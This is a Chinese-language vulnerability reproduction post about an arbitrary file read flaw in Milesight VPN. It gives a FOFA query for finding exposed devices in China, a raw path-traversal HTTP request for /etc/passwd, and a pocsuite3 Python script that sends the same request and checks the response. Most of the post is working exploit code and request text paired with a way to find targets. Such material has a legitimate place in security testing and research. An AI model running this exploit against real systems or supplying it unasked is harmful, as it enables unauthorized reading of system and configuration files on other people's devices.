漏洞复现-milesight vpn 任意文件读取漏洞（附漏洞检测脚本）

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漏洞描述

milesight vpn 存在任意文件读取漏洞，可以读取配置文件，日志信息，版本，etc

fofa语句

body="glyphicon-remove" && body="$randdt;" && country="CN"

poc加检测

GET /../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

poc脚本

脚本用的pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2023/12/17
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str

class milesight_vpn_fileread(POCBase):
    pocDesc = '''milesight vpn 任意文件读取漏洞'''
    author = '炼金术师诸葛亮'
    createDate = '2023-12-17'
    name = 'milesight vpn 任意文件读取漏洞'



    def _verify(self):

        result = {}
        url = self.url+ '/../../../../../../../../../../../etc/passwd'
        #check_path = self.url+ "/test.aspx"
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36",
            "Content-Type": "application/x-www-form-urlencoded",
            'Connection': 'close',
            'Accept-Encoding': 'gzip'
        }

        try:


            response = requests.get(url, headers=headers)
            if response.status_code == 200 and 'root' in response.text:
                result['VerifyInfo'] = {}


            return self.parse_output(result)
        except Exception as e:
            pass

register_poc(milesight_vpn_fileread)

脚本利用